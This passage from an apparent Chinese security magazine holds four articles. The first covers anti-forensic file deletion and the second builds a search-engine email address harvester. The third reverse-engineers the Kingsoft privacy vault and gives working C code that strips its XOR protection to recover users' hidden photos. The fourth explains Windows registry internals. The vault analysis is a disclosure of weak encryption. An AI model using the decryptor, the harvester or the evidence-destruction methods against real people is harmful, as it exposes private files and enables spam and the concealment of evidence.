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推迟对文件的写操作，并禁止对文件进行缓冲处理。为了使用方便，还可以将可执行文件添

加到注册表中，如： 

[HKEY_CLASSES_ROOT\*\shell\文件销毁\Command] 

@="\"C:\\Windows\\System32 \\FileDel.exe\" \"%1\"" 

此时，当选择指定的待销毁文件并点击右键时，系统会在弹出菜单中显示“文件销毁”

子菜单，选择文件销毁，文件将会按照上述要求完成销毁。当然，这里的 Delete API 函数有

可能会因为各种原因，导致删除失败。读者也可以通过底层驱动程序实现文件删除，如通过

改变文件对象 SECTION_OBJECT_POINTERS 结构体成员值，断开与文件相关的所有链，然后

发送 Delete Irp 请求实现文件强删除。 

 

小结 

本文简要介绍了文件反取证技术实现方式，并对基于磁盘文件的寄宿隐藏及文件永久删

除技术做了详细分析，给出了如何搜索指定磁盘分区下所有满足条件的寄宿文件思路及永久

删除文件的方法。 

                                                                                

基于搜索引擎编写邮箱采集器 

文/图 耿靓 

最近应朋友请求，做了一个网页邮箱信息采集器，要通过录入的关键词，获取百度中搜

索的结果，并跳转到搜索到的网页中，查找关键词是否存在，如果存在，并且在该页面中包

含邮箱字符串，则将该 URL 和邮箱一并存入数据库中。 

首先要对百度搜索页面进行分析，看看怎样获得关键词的搜索结果，并要搞清相关搜索

信息的翻页。此时应该就可以获得相关网页的 URL 了，再通过该 URL 跳转到相关页面，在

获取页面信息后查找是否存在关键词。如果存在再查找是否存在符合邮箱格式的字符串，并

且与输入的关键字不同，就把这个 URL 和邮箱字符串保存到数据库中。 

接下来分析一下百度搜索的网页，我以关键词“小苹果”测试，获得搜索页面如图 1

所示。 

 
图 1 

URL：

http://www.baidu.com/s?wd=%E5%B0%8F%E8%8B%B9%E6%9E%9C&rsv_spt=1&issp=1&rsv_bp

=0&ie=utf-8&tn=baiduhome_pg&rsv_n=2&rsv_sug3=1&rsv_sug4=21&rsv_sug1=1&rsv_sug2=0&i

nputT=1193&rsv_sug=1，这么长的 URL，每个参数什么意思除了 wd 参数是我查询的关键词
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比较明确以外，其余参数都几乎都不明确。不要紧，翻两页看看，第二页、第三页点点看就

发现了规律。这个 URL 部分是每个页面都一样的，只有 pn 这个参数不同。

http://www.baidu.com/s?wd=%E5%B0%8F%E8%8B%B9%E6%9E%9C&ie=utf-8&tn=baiduhome_p

g&oq=%E5%B0%8F%E8%8B%B9%E6%9E%9C&usm=4&rsv_spt=1&issp=1&rsv_bp=0&rsv_n=2&rs

v_sug3=1&rsv_sug4=21&rsv_sug1=1&rsv_sug2=0&inputT=1193&rsv_sug=1&pn=10，例如第二页

pn=10，第三页 pn=20，以此类推。 

这个 URL 还是有些长，试试去掉几个参数能不能成功查询。经过几次尝试，发现竟然

可以如此简单：http://www.baidu.com/s?wd=%E5%B0%8F%E8%8B%B9%E6%9E%9C&pn=10，

只保留 wd（搜索词参数）和 pn（分页参数）就可以了。 

再试试百度到底能为我提供多少页面。例如搜索的关键词“小苹果”页面下方显示“百

度为您找到相关结果约 100,000,000 个”。百度真能这么慷慨地提供这么多结果吗？试试就

知道。按照平均一页 10 个的搜索数量，我先看看能获得 100 个吗，就是第 10 页。设置 pn=90，

显然可以，500 个可以吗？pn=490，也 OK，那 1000 个呢，pn=990，返回的是第一页，说明

百度对这个词好像不能提供 1000 个搜索结果。那就试试最多能获得多少结果。根据我的测

试，“小苹果”这个词，可以翻到 76 页，按照差不多一页 10 个结果算，大约 760 项。通过

其他关键词测试，也满足这个结果。现在知道百度最多只能提供 76 页结果，作为分页的一

个极大值条件，用以避免出现错误的循环查找。那么如何知道对于一个给定的关键词，最多

能获得几页的结果呢？看来还要继续分析网页才能知道。随便选定一个怪异的搜索词

“asdfasdfwwww”，这次只有两页结果。 

再通过提交一个关键词，依靠返回的第一页查看是否有其他页面可用，如果有就记录最

大值，方案如图 2 所示。 

 
图 2 

在第一页中搜索分页最大值，记录下来，然后一页一页的加，当到达第 7 页的时候，发

现第 11 页，此时将 11 记录下来，直到满足页数=76 的上限，或搜索到记录下的最大页数时

停止，如图 3 所示。 

 

图 3 

好了，规律先找到这里，下面开始进行百度页面的代码分析。 

使用 chrome 的调试程序，按 F12 或 Ctrl+Shift+i 可以快速调出。例如根据第一项的搜索

结果，如图 4 所示： 
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图 4 

可以写出正则“<h3[^>]+class="t"[^>]*>(.|\r|\n)*?<a[^>]*href\s*=\s*"[^"]*"[^>]*>”，然后

在结果集中获取 a 标签的 href 属性。在 chrome 的调试程序的“console”标签中，随便输入

一个关键词，使用语句

“document.body.outerHTML.match(/<h3[^>]+class="t"[^>]*>(.|\r|\n)*?<a[^>]*href\s*=\s*"[^"

]*"[^>]*>/img)”可以正确获得 a 标签。 

通过类似的方式，可以获得百度分页的正则表达式“<p.*?(?=(id="page")).*?>.*?<\/p>”，

再在结果集中使用正则“<span[^>]*?class="pc"[^>]*?>\d+<\/span>”查找具体可以获得的分

页，取出其中的数字即可。 

 对百度的分析完成了，然后就是通过 CURL 访问百度，抓取搜索结果，再通过搜索结果

访问具体页面了。 

 编码中主要使用 CURL 进行网络通信，CURL 是一个功能强大的开源库，网上关于 CURL

的资料比较全面。在这里，简要介绍一下此程序中使用到的函数。 

首先初始化CURL。 

curl_global_init(CURL_GLOBAL_ALL); 

curl = curl_easy_init(); 

url_easy_setopt(curl, CURLOPT_URL, _strURL.c_str());  设置url 

curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L) 和curl_easy_setopt(curl, 

CURLOPT_SSL_VERIFYPEER, 0L)方法，设置SSL，跳过服务器SSL验证，不使用CA证书。 

curl_easy_setopt(curl, CURLOPT_MAXREDIRS, 30); 设置最大跳转次数 

curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1);设置301、302跳转跟随 

curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, NetExplorer::httpData_callback) 抓取内

容后，回调函数 

curl_easy_setopt(curl, CURLOPT_WRITEDATA, &szbuffer) 抓取网页的数据缓冲区 

curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, NetExplorer::httpHeader_callback ) 抓

取头信息，回调函数 

curl_easy_setopt(curl, CURLOPT_HEADERDATA, &szheader_buffer) 设置头信息的缓冲区 

curl_easy_perform(curl)进行网页访问，返回结果CURLE_OK时表示访成功。 

实现流程见程序，这里就不再赘述。 

数据库WebSearch中，表QueryInfo中每一行表示一次搜索，KeyWord字段为搜索的关键
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字，QueryDateTime表示搜索的时间。 

表Email中QueryInfoID表示该条记录是由哪次关键词搜索产生的，URL表示发现该邮箱的

URL地址，Email字段表示找到的邮箱。 

还需要注意的一点是，由于access数据库需要Microsoft.ACE.OLEDB.12.0数据驱动，所以

如果机器没有安装office2007会报数据库错误，可以自行安装office 2007 的access数据库，或

安装相应驱动，下载网址：http://www.microsoft.com/zh-cn/download/details.aspx?id=23734。 

                                                                                 

解密金山隐私保险箱 

文/图 莫灰灰 

信息化时代的高速发展，同时也孕育了更多的网络攻击。网银被盗、隐私信息泄露等无

疑成为了广大网民最为关注的问题。几年前，“艳照门”事件的曝光，更是引发了互联网的

一阵恐慌。 

 如今，移动互联网的迅速普及，手机相机的像素也越来越高，我们可以很方便地使用手

机拍摄自己感兴趣的东西并上传到朋友圈、微博等。但是，这同时也引入了另外一个问题，

拍了这么多东西，总有自己的一些隐私数据是不想对外公开的。于是，各大互联网安全厂商

纷纷推出了能在移动设备上加密照片、音乐、视频等文件的应用程序。但是，这些应用真的

能有效地保护好用户的隐私数据吗？实现原理又是什么呢？带着这些疑问，今天我们就来分

析下“金山隐私保险箱”的实现原理。 

 

测试环境 

 红米 TD 版 

 百度云 ROM 正式版 V6 

 金山隐私保险箱 1.3Beta2 

 

程序分析 

金山隐私保险箱安装完之后，加密一张自己拍的照片。此时，程序会将加密好的文件保

存到 sd 卡的.ksbox 目录下，如图 1所示。 

 

图 1 

将.ksbox 目录导出到本地，使用 sqlite expert 工具打开 db.sqlite 文件，表结构入

图 2 所示。 
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图 2 

 根据表结构我们大致可以知道，原始文件名、文件大小、被加密后的文件名等信息。知

道了这些基本信息，我们接下来使用 APK IDE 解包程序，发现金山隐私保险箱自己实现了一

个 ImageInputStream 的 类 ， 派 生 自 InputStream ， 具 体 的 实 现 文 件 为

com/ijinshan/mPrivacy/c/j.smali，如图 3 所示。 

 

图 3 

使用 APK IDE 搜索 Lcom/ijinshan/mPrivacy/c/j，结果如图 4 所示。 

 

图 4 

定位到第一个 new-instance 的地方，代码如下所示，只截取我们所关注的部分。 

 

# 解码一个 input stream到 Bitmap 

.method private static a(Ljava/lang/String;I)Landroid/graphics/Bitmap; 

    .locals 11 

    .prologue 

    const/4 v3, 0x1 

    const/4 v9, -0x1 

    const/high16 v6, 0x3f800000 

    const/4 v8, 0x0 

    .line 197 

    .line 200 

    :try_start_0 

 # 新建一个自定义的 InputStream 对象 

    new-instance v0, Lcom/ijinshan/mPrivacy/c/j; 
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 # 使用文件初始化 InputStream 

    invoke-direct {v0, p0}, 

Lcom/ijinshan/mPrivacy/c/j;-><init>(Ljava/lang/String;)V 

    .line 201 

    invoke-virtual {v0}, Lcom/ijinshan/mPrivacy/c/j;->available()I 

    move-result v1 

    if-ne v1, v9, :cond_0 

    move-object v0, v8 

    .line 264 

    :goto_0 

    return-object v0 

    .line 205 

    :cond_0 

 # 新建一个 BitmapFactory 对象 

    new-instance v1, Landroid/graphics/BitmapFactory$Options; 

    invoke-direct {v1}, Landroid/graphics/BitmapFactory$Options;-><init>()V 

    .line 208 

    const/4 v2, 0x1 

    iput-boolean v2, v1, 

Landroid/graphics/BitmapFactory$Options;->inJustDecodeBounds:Z 

    .line 209 

    const/4 v2, 0x0 

 # 调用 BitmapFactory的 decodeStream 方法，解码 input stream 到 Bitmap 

invoke-static {v0, v2, v1}, 

Landroid/graphics/BitmapFactory;->decodeStream(Ljava/io/InputStream;Landroid/gr

aphics/Rect;Landroid/graphics/BitmapFactory$Options;)Landroid/graphics/Bitmap; 

 

调用 decodeStream 函数之后，就会进入我们派生的 ImageInputStream 类中。该类重写

了 read 方法，主要用来自定义解码算法。我们来看下主要代码： 

 

.method public final read([BII)I 

    .locals 7 

    .prologue 

    const/4 v6, 0x0 

    const/16 v5, 0x400 

    .line 61 

    iget-object v0, p0, 

Lcom/ijinshan/mPrivacy/c/j;->a:Ljava/io/FileInputStream; 

 # p2（byteOffset），p3（byteCount）=0x10000 

    invoke-virtual {v0, p1, p2, p3}, Ljava/io/FileInputStream;->read([BII)I 

    move-result v0 

    .line 63 

    const/4 v1, -0x1 

 # 判断返回值是否为-1，-1 即读到文件末尾 
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    if-ne v0, v1, :cond_0 

    .line 103 

    :goto_0 

    return v0 

    .line 70 

    :cond_0 

  

 # f 保存了已读的字节数 

    iget-wide v1, p0, Lcom/ijinshan/mPrivacy/c/j;->f:J 

    const-wide/16 v3, 0x400 

    cmp-long v1, v1, v3 

 # 判断已读的字节数是否大于或等于 0x400 字节 

    if-gtz v1, :cond_5 

 # 第一次读的话，执行如下代码 

    .line 73 

 # e 是个 bool 值，判断是否已经解密了前面的 0x400 字节 

    iget-boolean v1, p0, Lcom/ijinshan/mPrivacy/c/j;->e:Z 

    if-nez v1, :cond_1 

 # 第一次读取，未解密，执行如下代码 

    .line 75 

    iget-object v1, p0, 

Lcom/ijinshan/mPrivacy/c/j;->c:Lcom/ijinshan/mPrivacy/c/g; 

 # b 是个 String 类型的变量，其中保存了加密后文件的路径，例如

/storage/sdcard0/.ksbox/6b2c357d  

    iget-object v1, p0, Lcom/ijinshan/mPrivacy/c/j;->b:Ljava/lang/String; 

 # 调用 g;->b 方法，解密前面 0x400字节 

    invoke-static {v1}, Lcom/ijinshan/mPrivacy/c/g;->b(Ljava/lang/String;)[B 

    move-result-object v1 

 # 将解密出来的字节数组保存到 d变量中 

    iput-object v1, p0, Lcom/ijinshan/mPrivacy/c/j;->d:[B 

    .line 76 

    iget-object v1, p0, Lcom/ijinshan/mPrivacy/c/j;->d:[B 

 # 判断字节数组是否为空 

    if-eqz v1, :cond_1 

    .line 77 

    const/4 v1, 0x1 

 # 返回不为空，那么设置变量 e 为 true，即解密成功 

    iput-boolean v1, p0, Lcom/ijinshan/mPrivacy/c/j;->e:Z 

    .line 80 

    :cond_1 

 # v0 寄存器保存了实际读取到的字节数，p3 是想要读取的字节数，即 0x10000 

    if-ge v0, p3, :cond_3 

    move v1, v0 

    .line 82 
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    :goto_1 

 # v2 = byteOffset + 实际读到的字节数 

    add-int v2, p2, v1 

 # 如果 v2 大于 0x400，就跳到 cond_4 

    if-gt v2, v5, :cond_4 

    .line 84 

    iget-object v2, p0, Lcom/ijinshan/mPrivacy/c/j;->d:[B 

    if-eqz v2, :cond_2 

    .line 85 

 # 将前面解密的数据赋给 v2 寄存器 

    iget-object v2, p0, Lcom/ijinshan/mPrivacy/c/j;->d:[B 

 # v2 拷贝到 p1，p2为 srcOffset，v6是 desOffset，v1 为拷贝大小 

    invoke-static {v2, p2, p1, v6, v1}, 

Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V 

    .line 100 

    :cond_2 

    :goto_2 

 # 已经读取的字节数 

    iget-wide v1, p0, Lcom/ijinshan/mPrivacy/c/j;->f:J 

 # v0 为实际读到的字节数，转成 long，保存到 v3 

    int-to-long v3, v0 

    add-long/2addr v1, v3 

 # 本次实际读到的字节数 + 以前已经读取的字节数，保存到 f 变量 

    iput-wide v1, p0, Lcom/ijinshan/mPrivacy/c/j;->f:J 

    goto :goto_0 

    :cond_3 

    move v1, p3 

    .line 80 

    goto :goto_1 

    .line 89 

    :cond_4 

    if-ge p2, v5, :cond_2 

    .line 91 

    iget-object v1, p0, Lcom/ijinshan/mPrivacy/c/j;->d:[B 

    if-eqz v1, :cond_2 

    .line 92 

    iget-object v1, p0, Lcom/ijinshan/mPrivacy/c/j;->d:[B 

    sub-int v2, v5, p2 

 # 后面的数据不用解密，直接拷贝即可 

    invoke-static {v1, p2, p1, v6, v2}, 

Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V 

    goto :goto_2 

    .line 98 

 # 如果已读的字节数大于 0x400，就跳到这里执行 

HACKER DEFENCE◆27◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

    :cond_5 

    const/4 v1, 0x0 

 # 清空 d 变量 

    iput-object v1, p0, Lcom/ijinshan/mPrivacy/c/j;->d:[B 

    goto :goto_2 

.end method 

 

上 面 这 段 smali 代 码 中 比 较 关 键 的 一 个 调 用 是 invoke-static {v1}, 

Lcom/ijinshan/mPrivacy/c/g;->b(Ljava/lang/String;)[B，我们跟进去看一下。 

 

# 解密文件 

# p0: 加密后文件的路径，例如/storage/sdcard0/.ksbox/6b2c357d  

.method public static b(Ljava/lang/String;)[B 

    .locals 2 

    .prologue 

    const/4 v1, 0x0 

    .line 456 

    :try_start_0 

 # 判断是否是我们的加密文件，判断文件开头特征等等 

    invoke-static {p0}, Lcom/ijinshan/mPrivacy/c/g;->h(Ljava/lang/String;)[B 

    move-result-object v0 

    .line 457 

    if-nez v0, :cond_0 

    move-object v0, v1 

    .line 472 

    :goto_0 

    return-object v0 

    .line 461 

    :cond_0 

 # 调用 b(Ljava/lang/String;I)[B，读取_e 文件的内容 

    invoke-static {p0}, Lcom/ijinshan/mPrivacy/c/g;->i(Ljava/lang/String;)[B 

 # v0 即为_e文件的内容 

    move-result-object v0 

    .line 462 

    if-eqz v0, :cond_1 

    .line 464 

 # 调用解密函数，解密 v0 

    invoke-static {v0}, Lcom/ijinshan/mPrivacy/c/g;->a([B)[B 

    :try_end_0 

    .catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_0 

    move-result-object v0 

    goto :goto_0 

    .line 467 

    :catch_0 
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    move-exception v0 

    invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V 

    :cond_1 

    move-object v0, v1 

    .line 472 

    goto :goto_0 

.end method 

 

这里最为关键的是 invoke-static {v0}, Lcom/ijinshan/mPrivacy/c/g;->a([B)[B 这

个调用，a([B)[B 这个函数是专门用来解密 byte数组的，代码如下所示。 

 

 # 解密算法  

# buffer[i] = buffer[i] ^ 0x6b; 

.method public static a([B)[B 

    .locals 3 

    .prologue 

    .line 264 

    array-length v0, p0 

 # 判断传入参数的 buffer 是不是大于 0 

    .line 266 

    const/4 v1, 0x0 

 # 判断 v1 是否大于 buffer 的大小 

    :goto_0 

    if-ge v1, v0, :cond_0 

 # 取一个字节保存到 v2 

    .line 267 

    aget-byte v2, p0, v1 

 # 与 0x6b 异或 

    xor-int/lit8 v2, v2, 0x6b 

    int-to-byte v2, v2 

 # 把异或得到的值写回原来的 buffer 中 

    aput-byte v2, p0, v1 

 # v1 + 1 

    .line 266 

    add-int/lit8 v1, v1, 0x1 

 # 继续循环 

    goto :goto_0 

    .line 270 

    :cond_0 

    return-object p0 

.end method 

 

 程序分析到这里，我们大致知道了金山隐私保险箱的解密步骤： 

 1）从 InputStream 类中派生自己的类，调用 BitmapFactory的 decodeStream 函数解码
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文件输入流； 

 2）重写 InputStream 类的 read 函数，用来实现自己的解密算法； 

 3）解密的时候判断，如果是前面最开始的 0x400 字节，那么读取 filename_e 文件，每

个字节异或 0x6B，如果是大于 0x400字节，那么直接读取 filename 文件； 

 4）按照上面的步骤解密，最后输出的文件即为原始文件。 

 

编写解密程序 

既然知道了金山隐私保险箱的解密算法，那么自己实现一个解密程序也就很简单了，大

致代码如下所示。 

 

 #include "stdafx.h" 

#include <Windows.h> 

 

// szName - 加密文件的文件名 

// szOriginName - 原始文件名 

BOOL DecodeStream(WCHAR *szName, WCHAR *szOriginName) 

{ 

 BOOL bRet = FALSE; 

  

 if (!szName || !szOriginName) 

 { 

  return bRet; 

 } 

 

 HANDLE hFile = CreateFile(szName, 

  FILE_ALL_ACCESS, 

  FILE_SHARE_READ | FILE_SHARE_WRITE, 

  NULL, 

  OPEN_EXISTING, 

  FILE_ATTRIBUTE_NORMAL, 

  NULL); 

 

 if (hFile == INVALID_HANDLE_VALUE) 

 { 

  return bRet; 

 } 

 

 DWORD dwHigh = 0; 

 DWORD dwSize = GetFileSize(hFile, &dwHigh); 

 if (dwSize < 0x400) 

 { 

  CloseHandle(hFile); 

  return bRet; 

 } 
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 PBYTE pBuffer = (PBYTE)malloc(dwSize); 

 if (pBuffer == NULL) 

 { 

  CloseHandle(hFile); 

  return bRet; 

 } 

  

 memset(pBuffer, 0, dwSize); 

 

 HANDLE hSaveFile = CreateFile(szOriginName, 

  FILE_ALL_ACCESS, 

  FILE_SHARE_READ | FILE_SHARE_WRITE, 

  NULL, 

  CREATE_ALWAYS, 

  FILE_ATTRIBUTE_NORMAL, 

  NULL); 

 

 if (hSaveFile == INVALID_HANDLE_VALUE) 

 { 

  CloseHandle(hFile); 

  free(pBuffer); 

  return bRet; 

 } 

 

 WCHAR szPath[MAX_PATH] = {0}; 

 wsprintf(szPath, L"%s%s", szName, L"_e"); 

 HANDLE hFile_e = CreateFile(szPath, 

  FILE_ALL_ACCESS, 

  FILE_SHARE_READ | FILE_SHARE_WRITE, 

  NULL, 

  OPEN_EXISTING, 

  FILE_ATTRIBUTE_NORMAL, 

  NULL); 

 

 if (hFile_e == INVALID_HANDLE_VALUE) 

 { 

  CloseHandle(hFile); 

  CloseHandle(hSaveFile); 

  free(pBuffer); 

  return bRet; 

 } 

 

 DWORD dwRet = 0; 
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 bRet = ReadFile(hFile_e, pBuffer, 0x400, &dwRet, NULL); 

 if (!bRet) 

 { 

  CloseHandle(hFile); 

  CloseHandle(hSaveFile); 

  CloseHandle(hFile_e); 

  free(pBuffer); 

  return bRet; 

 } 

 

 SetFilePointer(hFile, 0x400, NULL, FILE_BEGIN); 

 bRet = ReadFile(hFile, pBuffer+0x400, dwSize-0x400, &dwRet, NULL); 

 if (!bRet) 

 { 

  CloseHandle(hFile); 

  CloseHandle(hSaveFile); 

  CloseHandle(hFile_e); 

  free(pBuffer); 

  return bRet; 

 } 

 

 for (int i = 0; i < 0x400; i++) 

 { 

  pBuffer[i] = pBuffer[i] ^ 0x6b; 

 } 

  

 WriteFile(hSaveFile, pBuffer, dwSize, &dwRet, NULL); 

 

 CloseHandle(hFile); 

 CloseHandle(hSaveFile); 

 CloseHandle(hFile_e); 

 free(pBuffer); 

 

 return bRet; 

} 

 

int _tmain(int argc, _TCHAR* argv[]) 

{ 

 DecodeStream(L"C:\\Users\\Administrator\\Desktop\\98fca88",  

  L"C:\\Users\\Administrator\\Desktop\\1.jpg"); 

 return 0; 

} 

 

 执行完如上代码之后，图片被解密出来，并且能正常打开。自此，金山隐私保险箱就被
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我们轻易攻破了。 

 

后记 

 分析完金山隐私保险箱之后，我后来又去看了下 360 隐私保险箱和腾讯手机管家的隐私

保险箱，大致的加解密流程都差不多，都只加解密文件开头的 0x400字节，只是各自的加密

算法不同罢了。回过头来想想，既然它们都能把文件还原回去，也就是说这个过程一定是可

逆的。 

 经过上面的分析，目前移动端的隐私保护软件基本上也就只是个心里安慰罢了。在日常

生活中，我们还是要自珍自爱，尽量不要把私密的文件保存在移动设备上，也不要去下载来

历不明的软件、外挂等。 

                                                                                

详解 Windows 的注册表机制 

文/图 王晓松 

曾经有过一段时间，“Windows 优化大师”“超级兔子”软件非常风靡，使用它们，一

个普通的计算机用户可以轻松修改系统启动进程，网络连接 TCP 数量等参数，非常简单的解

决计算机使用中的一些问题。这两款软件都是名副其实的注册表修改软件，因为软件实现的

背后都是通过直接修改注册表完成用户提出的要求。注册表在 Windows的运行中担任着重要

的角色，可以将其看作系统和用户的数据库。在“运行”中键入“regedit”，打开注册表

编辑器，如图 1 所示，可以看到类似 Windows文件系统的结构。注册表中的内容包罗万象，

本文将主要集中在 Windows 注册表的逻辑结构、物理结构和 Windows 机制的内部实现上。 

 
图 1 

 

注册表的逻辑结构 

我们可以将图 1 中看到的如文件系统的结构看为注册表的逻辑结构。但在注册表中，目

录不称为目录，文件也不称为文件。左侧类似文件目录的节点称为键(KEY)，键的下面可以

有子键(SUBKEY)和值(VALUE)，注意这里值不是一个单独的概念，它是由值的名称、值的类

型和值的内容三部分组成，实际上也就对应着图 1 中右侧的三列，分别写为名称、类型和数

据。以图 1 为例，我们可以说，在\HKEY_LOCAL_MACHINE\SYSTEM\CONTROL SET\CONTROL 的

键下，有值名称为 CurrentUser，其值类型为 REG_SZ，值的内容(数据)为 USERNAME。如果

将注册表和文件系统中的概念对应，可以使用图 2 简单的表达出来。 
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 再回到图 1，注意左侧的键结构，可以看到，在根键下有五大子键，分别是： 

 HKEY_CALSSES_ROOT (HKCR) //包含有关文件关联和 COM 的设置信息 

HKEY_CURRENT_USER(HKCU)     //当前用户的信息 

HKEY_LOCAL_MACHINE(HKLM)   //当前系统的信息 

HKEY_USERS(HKU)               //电脑中所有用户账户的信息  

HKEY_CALSSES_CONFIG(HKCC)   //当前硬件配置的信息 

   

 

虽然从注册表编辑器我们看到了在根键下有 5 个子键，但是最根本的两个键是

HKEY_LOCAL_MACHINE 和 HKEY_USERS，虽然其余 3 个子键与 HKLM 和 HKU 并行，但实际上是

HKLM 和 HKU下子键的符号链接。如图 3 所示，HKCU 实际上是 HKU 下的子键 HKCU 的一个符号

链接，而 HKCC 则是 HKLM\SYSTEM\CurrentControlSet\Hardware\Current 子键的一个符号链

接，HKCR 是 HKLM\SOFTWARE\Classes 和 HKCU\SOFTWARE\Classes 的合并。 

既然 HKLM 和 HKU 实际上是根键下两个唯一子键，那么我们分别看下这两个子键下的内

容。 

 HKEY_LOCAL_MACHINE 下包含的子键如图 4 所示；HKEY_USERS 下包含的子键如图 5 所示。 

键 

目  录 

键名 

文件名 

键值 

文件内容 

子键 

子目录 

图 2 注册表与文件系统称呼的对应关系 

HKEY_LOCAL_MACHINE 

HKEY_ USERS 

SYSTEM 

CurrentControlSet 

Hardware Profile 

Current 

SOFTWARE 

Classes 

HKCU 

HKEY_CURRENT_CONFIG 

SOFTWARE 

Classes 

HKEY_CLASSES_ROOT 

合  并 

HKEY_CURRENT_USER 

键与子键之间的关系 

符号链接 

图 3 根键下五大子键的关系 
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图 5   HKEY_USERS 的子键 

 HKEY_USERS 子键下除了 .DEFAULT 外，都是一些 S 打头的键，如 S-1-5-18，

S-1-5-19_Classes，S-1-5-21-1929667112-1946198471-315 等，我们就不细抠 S-1-5-18 中

每个数字的含义，只要简单的认为实际上每个 S打头的键背后都对应着一个加载过的用户就

可以了，.DEFAULT 包含的是默认用户的子键，显然这些子键背后是各个用户的信息。 

如果要将整个注册表的逻辑结构陈述详细，那需要厚厚的一册专著，如有需要就请读

者查阅相关的资料。 

 

注册表的物理结构 

我们通过注册表编辑器看到的是注册表逻辑结构，注册表内容根据来源可以分为固定存

储类和易失类。所谓的固定存储类就是其源内容放于硬盘的文件中，如果重新启动电脑这些

内容不会改变或者丢失，而易失类是指反映系统当前运行情况的某些实时数据，如果信息并

不存储在电脑中，而是配置管理器根据系统启动之后的状况实时从系统中采集得到的。固定

存储类数据并不单纯的存储在一个文件中，而是由多个不同的文件共同组织起来的。 

前面介绍过注册表的根键下主要是 HKLM 和 HKU 两个子键，HKLM键下的子键主要存放在

Windows 系统的\WINDOWS\system32\config 目录下，其对应关系如图 4 所示，而 HKEY_USERS

键下对应的文件主要存放在\Documnets and Setting\<用户名>\NTUSER.DAT 中。显然这些

文件的内容不能简单的存储在文本文件中，因为存储的数据类型有些是二进制的，文本文件

无法表达，并且存储注册表数据的文件有着固定的格式，称为 HIVE 文件。 

如果从宏观的角度看， HIVE 文件的格式并不复杂，可以说一个 HIVE 文件是由固定大

小(4K)的 BIN 组成，而一个 BIN 是由多个大小不一的 CELL 组成，一个 CELL 只能在一个 BIN

中，而不能跨越多个 BIN，一个简单的关系是：HIVE 由 BIN 组成，BIN 由 CELL 组成。 

 在专业资料中，HIVE 被称为储巢文件，BIN 被称为巢箱，而 CELL 被称为巢室，因为中

本地账户和组的信息。 

系统安全策略和用户权限设置。 

启动时不需要的系统全局配置信息。 

启动需要的系统全局配置信息。 

图 4   HKEY_LOCAL_MACHINE 的子键 

硬件设置。 

对应的文件 

\系统目录\config\SAM 

\系统目录\config\SECUTITY 

\系统目录\config\software 

\系统目录\config\system 

易失性储巢 

此处的系统目录为\windows\system32 
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文翻译里这三个概念都带“巢”字，巢起巢落的，很容易使人头昏脑涨，想来大家能够阅读

关于 Windows 内核的文章，英文都不会太差，所以我们这里就不扭扭捏捏的使用中文说法，

而直接使用英文称呼来的爽利。一个 HIVE 文件的结构如图 6 所示。 

 

图 6 一个 HIVE 文件的物理结构 

HIVE 文件的第一个 BIN 的结构比较特别，称为 BaseBlock，与之后的 BIN 的格式并不

相同，BaseBlock 是针对整个 HIVE 文件的，如包含 HIVE 文件标识，最新序列号，校验和等

内容，其头四个字节是内容为“regf”的字符，BaseBlock 并不包含具体的 CELL，而其余

BIN 的内容除了一个标准的 BIN 头(该 BIN 结构头四个字节为 hbin 的字符)外，都是由各种

CELL 组成。 

CELL 的类型分为 5 种，分别为键、子键列表、值列表、值和安全描述符。其中的安全

描述符类型 CELL 指明了该键的访问权限等信息，子键列表类型 CELL 包含了某键下各子键

CELL 的位置，值列表类型 CELL 包含了某键下各值 CELL 的位置，一个键类型 CELL 中包含了

指向其下子键列表类型 CELL，值列表类型 CELL，安全描述符类型 CELL，父键 CELL 的指针。 

通过键子键列表子键值列表值的顺序我们可以访问到具体键或者值的信息，

举个例子，如路径为\KEY1\KEY2\VALUE1 的（键---值）结构，其中 KEY1 和 KEY2 为键，VALUE1

为值，如图 7 所示。其中 KEY1 键 CELL 包含了该键下安全描述符、子键列表、值列表和父键

的指针，而子键列表 CELL 包含了各个子键的位置，值列表 CELL 包含了各个值位置的位置，

而值 CELL 包含了一个值的内容。需要注意一点的是，在子键列表 CELL 中的内容是按照字符

串的顺序排列的，因此可以使用数据结构中常用的二分法进行查找，但是值列表 CELL 中的

内容并没有按照字符串顺序排序。 

 

键 \KEY1 

图 7 一个包含 4 种 CELL类型的例子 

子键列表 

子键 \KEY1\KEY2 值列表 值 \KEY1\KEY2\VALUE1 

安全描述符 

Hive 文件 

 

4K 

BIN 头 

Cell 

Cell 

BaseBlock 

Block 

以“regf”开头 

以“hbin”开头 

以“hbin”开头 

键 CELL以“nk”开头 

Cell 
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注册表的初始化 

了解了注册表的结构，我们再看看 Windows 是如何加载并初始化注册表，以供用户使用

的。通常可以将注册表的初始化分为三个步骤，分别由 ntldr中的 os loader(内核加载器)，

smss.exe(会话管理器)和 winlogon.exe(登录管理器)中的代码完成。如果简单描述，就是

在内核加载之初，内核加载器的代码中，加载和系统有关的 HKLM\SYSTEM 以及与硬件有关的

HKLM\HARDWARE 两个 HIVE，当系统初始化部分完成，进入会话管理器部分，则加载注册表的

大部分与系统全局有关的内容，如 HKLM\SAM、 HKLM\SECURITY、 HKLM\SOFTWARE 和

HKU\.DEFAULT 等。其后，当用户完成登录，那么相应的由登录进程完成用户部分 HIVE 的加

载，如 HKU\<用户的 SID>HIVE 文件。整个注册表随系统启动加载的大致轮廓如图 8 所示。 

 

 

注册表键的解析 

Windows 提供了很多的注册表操作函数，比如 NtOpenKey，NtCreateKey，NtDeleteKey

等，这些函数的起点都需要先调用 NtOpenKey 函数，定位到目标键，因此我们就在这一小节

尝试着将 NtOpenKey 函数进行剖析，来看看注册表键解析的实现。 

使用过注册表的读者会发现，注册表包含的内容很多，虽然只是简单的树状结构，但是

有的键的路径非常长，如何有效的实现注册表键的解析，是配置管理器需要解决的重要问题。

值得注意的是，注册表中能够被打开的对象是键，而不是值，换句话说，如果想取得某个值

的内容，只能先打开包含该值的键，然后再对该值的内容进行读取，因此在这里提到的都是

对键的解析。 

注册表键的解析与系统的对象管理器密切相关。在系统启动之初，配置管理器就在全局

